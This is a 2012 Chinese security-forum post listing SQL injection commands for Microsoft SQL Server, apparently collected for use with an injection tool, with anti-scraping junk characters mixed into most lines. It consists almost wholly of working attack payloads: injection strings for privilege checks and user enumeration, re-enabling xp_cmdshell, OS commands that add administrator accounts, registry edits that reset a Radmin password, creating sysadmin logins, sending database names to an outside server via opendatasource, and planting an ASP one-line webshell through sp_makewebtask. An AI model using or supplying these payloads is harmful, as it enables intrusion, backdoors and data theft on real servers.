找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1859|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令* k9 y0 m/ @# f% v
//看看是什么权限的
/ w* |0 g, F1 k# u; X+ Dand 1=(Select IS_MEMBER('db_owner'))& p2 U) C1 s  G$ |9 d0 O
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
, u1 X" H# w& j7 G7 R
6 l$ X% x* U# |0 m//检测是否有读取某数据库的权限) A6 d$ J- H" ~
and 1= (Select HAS_DBACCESS('master'))- w- t& g; U3 n# x: r6 X" ^" c4 ^
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
) n* d' i. ^% ~$ A1 p/ c1 _; J1 ]' U2 Y0 e& m" Z) t: M8 ^/ D5 f
: e9 i: e: |9 F3 Y3 o: R) [
数字类型
2 X& g9 Y" r, A+ |: x2 hand char(124)%2Buser%2Bchar(124)=0) {* ^$ O2 |' H% Y8 W8 y7 h$ S3 H4 `

) |8 L9 k: i; y" a* G字符类型
! P8 @8 a* f# ]( \1 X' and char(124)%2Buser%2Bchar(124)=0 and ''='2 W! w/ h9 t# \

- {+ x% L$ a9 _! o$ J& _8 ?8 ]4 C搜索类型3 J. m; @; J# ?0 _8 j6 {
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
' k4 ]% p& F1 Q& h, s* H4 H2 u* B( v" `0 k) p
爆用户名2 f8 ]& S7 \+ T3 R! a# T2 T' H
and user>0$ ~+ ]; q: K- M3 m8 m; \5 `5 M7 F
' and user>0 and ''='
3 D5 a  k; T0 Z2 b9 f1 p+ X. X. a
) a9 C. D/ R* u  X- C2 c, ?检测是否为SA权限
3 _& g2 c! s4 Z1 y6 j6 qand 1=(select IS_SRVROLEMEMBER('sysadmin'));--, E" z7 Z# p4 ^
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
  Q# H# P+ p: X% z& E; Y" |3 }
  f2 c( p8 ~3 s; i/ W6 a: G  h1 i检测是不是MSSQL数据库
/ ~" d& o3 C  \9 e: `and exists (select * from sysobjects);--
0 E* A9 O* v; w# h
& W: V. A) k$ f) }8 ]2 W. v* P2 d检测是否支持多行* N, B5 i5 o& F) w4 [; Y0 Y1 o
;declare @d int;--
+ `( ~. x' g+ B" j: K+ D5 i+ X% ?' `# `4 I  C- l/ T
恢复 xp_cmdshell1 P' d( [8 [) Y* L: Z
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
7 m( P# P% d( C: q$ w" e- C2 j! F# P

9 @5 q& u* ~/ m1 X# d6 fselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') ; P  ^4 g+ r7 `% T

% X# Q; A' v: z* q//-----------------------
9 X( Z$ ^) u- ?, b; o//      执行命令
* ]  {  O" G+ Z; t; y* V( t9 c0 s//-----------------------
9 A, ~) z9 U- M4 j6 p首先开启沙盘模式:
5 t7 G0 [! S% A. ?exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
& R) J+ y; A/ t! T. `, F+ Z% E1 X+ S
然后利用jet.oledb执行系统命令1 r. L  }( u2 Z9 ?: s2 u" X% [
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')- Q6 L- [, G5 n9 e$ U

$ f( o- e$ ~' Z+ E9 n; @, M% w执行命令
5 e6 ]/ S8 d! I2 ^/ F- J;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
9 ^9 t% P* V* @
9 J! Q9 S1 r% _, REXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
2 v  g" P6 C5 n( u) k3 K, V3 b- \, J/ _( U
判断xp_cmdshell扩展存储过程是否存在:7 x$ ^( F/ B# Y, ^9 Z7 i
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')" M6 h. c0 l0 m% X8 P

+ |. E1 z/ _( k, y2 }/ ~+ @1 n! n2 z2 c写注册表( e% r6 {- Y  h5 b
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
5 h% L' M1 U7 _$ @2 y* K9 C% F/ g$ ?# t
REG_SZ; l- g- n+ r/ e8 O

8 x" V% |, \, y' ?# u# R读注册表
2 v) ^. }/ N- @exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit') c- a- H. u; t9 P
8 Z8 [# Y. [' @* r% k
读取目录内容
  {' P8 G2 H/ a# h, c4 Zexec master..xp_dirtree 'c:\winnt\system32\',1,1- ?) n& V0 |7 v0 [

. o. d: A9 ]) i# ~9 |0 p, c3 O, G2 f5 ~
数据库备份8 `& n7 S) ]) a% g# t, ~
backup database pubs to disk = 'c:\123.bak'# m9 @0 e) c* C; @

# z$ \0 t; J. b/ D4 ^. E//爆出长度' }6 O% m# l, F
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--6 H. [% v: A, _1 \* W

" Y! e. \! i3 S. S5 a$ \/ E- d$ b% O/ s; f" c6 ~6 e2 [5 Y
2 X( R# B  ?3 A3 q
更改sa口令方法:用sql综合利用工具连接后,执行命令:
$ s8 Y9 v+ p& i7 w9 m) oexec sp_password NULL,'新密码','sa'- P& E: c0 p; Z8 P. J# v

0 U, H" v8 w2 i8 o1 x8 h添加和删除一个SA权限的用户test:% U- |: s) ^6 h0 Y" C4 q
exec master.dbo.sp_addlogin test,ptlove
0 T3 Z8 ^% D' k; O1 Bexec master.dbo.sp_addsrvrolemember test,sysadmin
' V0 W+ v0 I% }" E1 _& x: e' S% c: n! ?  ?* j$ i: q
删除扩展存储过过程xp_cmdshell的语句: ) Y$ C) `, n4 L' r/ z
exec sp_dropextendedproc 'xp_cmdshell'
1 F$ M$ n# c$ [8 c: k1 |
  k" ~" \0 X9 [7 y9 c添加扩展存储过过程
* @! d/ m. @( m9 OEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 4 I1 r+ D6 s% f9 ~# j
GRANT exec On xp_proxiedadata TO public 7 n8 j0 N9 l: g) z& J
# a$ n# V7 b. ^6 Z+ ?' G
$ c( w6 k" d9 U6 m5 `- Z# f
停掉或激活某个服务。
, y% x' w) w/ c2 W1 w, C: K8 e+ [2 Z9 f$ l' }: S
exec master..xp_servicecontrol 'stop','schedule'
( d' e" l& A' P4 d- ]/ @( W; C( ]exec master..xp_servicecontrol 'start','schedule'' G# A! m& a1 X4 y4 q2 z; S

. j" J9 _. _3 G3 G6 d- Q: Adbo.xp_subdirs' r( L1 F+ o0 x; l$ E: d' A
6 y4 @5 R8 D/ ^* b
只列某个目录下的子目录。
7 V. [7 Y/ v5 c" N# C& R/ p  pxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
' U4 Z, ]) ?# s% Y" a+ ^: `7 c9 V( j/ b( r: S8 e# q6 g" T: M7 [! P
dbo.xp_makecab) Z7 N  H4 X' d, H: [4 a& p
1 ^+ Q, m# x+ D2 O2 e
将目标多个档案压缩到某个目标档案之内。
' \- M) g# k" ^6 Y0 t所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
3 Q# N  `" @  Q
& P, g) i. x. Z& ydbo.xp_makecab
  w0 ]3 G) y; s6 k'c:\test.cab','mszip',1,  u- q8 e: I3 m( \% h
'C:\Inetpub\wwwroot\SQLInject\login.asp',$ K7 o0 j/ {/ w
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
( W. [- {$ X3 ~8 [! d2 ]3 i
' ]4 g  O- F5 r$ J: D  l& fxp_terminate_process; F! |7 T5 o8 Z8 S0 K! s
& `/ @  S6 g9 H* [
停掉某个执行中的程序,但赋予的参数是 Process ID。
: H0 d6 p0 S- T' g/ ?利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
3 R0 I) P- a  D+ |. N4 \  ]
- @) V: a2 l1 r* Q. K2 B' xxp_terminate_process 2484/ r2 S& f. G1 X9 B; _" e

5 p0 p: a8 ^6 ]. B( a; fxp_unpackcab5 Y6 q4 i; }  E4 h
# U" b# E( \4 m9 k! w, N  Q
解开压缩档。
7 _. g) V+ L+ {# O2 g: m7 I1 X% Q+ w1 d( d, o/ ^
xp_unpackcab 'c:\test.cab','c:\temp',16 p: z2 T8 W" G. `' t/ J4 ?  m6 ]6 u
$ _$ }1 d: E: T2 X9 J; y

: U( l9 N7 g# ~" |& k某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12348 `  Q4 N* }1 k
% v; ~% \& N8 \# c
create database lcx;
" q/ W6 S/ w% u" KCreate TABLE ku(name nvarchar(256) null);
/ K# n( u9 {# ?* Z& K3 O/ ]Create TABLE biao(id int NULL,name nvarchar(256) null);
" G" T. Q& G2 @. |3 r; r, E% \# M; ?% y. d" |
//得到数据库名
2 K) }. \0 _! S! Binsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
3 F: T: d* o2 R; R% ?& r: r
6 i5 k& j8 T% E# _) c
& J/ Y8 ]3 r6 ?5 ^5 h  g1 o. y//在Master中创建表,看看权限怎样
) N7 y+ G- w% jCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--# V" M; ~7 f- o& `: O3 o. I

! g$ h9 e+ ]: \! ?用 sp_makewebtask直接在web目录里写入一句话马:
9 {9 j8 u) [4 Y: R3 Q( y* X6 nhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--! O/ b5 k9 C1 C* k# V8 b

( H" o: q6 z' Q* O; S. h- p//更新表内容" ]0 p2 C8 j; L, ~! Y& W
Update films SET kind = 'Dramatic' Where id = 1233 u* Q- q$ \; ~" _$ N
7 U( g; m& s+ G+ G& ^+ j4 T! f
//删除内容
" s) u6 [/ V2 `( n9 M0 vdelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表